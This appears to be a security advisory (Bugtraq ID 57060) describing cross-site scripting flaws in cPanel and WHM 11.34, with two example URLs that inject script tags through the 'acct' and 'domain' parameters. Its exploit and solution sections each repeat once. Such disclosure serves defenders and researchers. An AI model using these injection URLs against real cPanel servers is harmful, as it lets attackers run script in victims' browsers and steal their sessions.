cPanel and WHM Multiple Cross Site Scripting Vulnerabilities
BID:57060
Info
cPanel and WHM Multiple Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 57060 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 27 2012 12:00AM |
| Updated: | Dec 27 2012 12:00AM |
| Credit: | Christy Philip Mathew |
| Vulnerable: |
cPanel WHM 11.34 cPanel cPanel 11.34 |
| Not Vulnerable: | |
Exploit / POC
cPanel and WHM Multiple Cross Site Scripting Vulnerabilities
Attackers can exploit these issues by enticing an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/webmail/x3/mail/clientconf.html?domain=&redirectdomain=&acct=%3Cscript%3Ealert%28%22XSS%20Vulnerability%22%29%3C/script%3E&archiving=0
http://www.example.com/frontend/x3/stats/detailbw.html?mon=Dec&year=2006&domain=%3Cscript%3Ealert%28%22XSS%20Vulnerability%22%29%3C/script%3E&target=x3demob
Attackers can exploit these issues by enticing an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/webmail/x3/mail/clientconf.html?domain=&redirectdomain=&acct=%3Cscript%3Ealert%28%22XSS%20Vulnerability%22%29%3C/script%3E&archiving=0
http://www.example.com/frontend/x3/stats/detailbw.html?mon=Dec&year=2006&domain=%3Cscript%3Ealert%28%22XSS%20Vulnerability%22%29%3C/script%3E&target=x3demob
Solution / Fix
cPanel and WHM Multiple Cross Site Scripting Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].